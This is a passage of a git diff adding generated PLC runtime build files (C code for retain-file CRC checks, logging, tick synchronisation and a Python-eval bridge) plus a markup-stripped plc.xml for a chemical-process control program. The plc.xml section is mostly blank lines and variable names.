0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 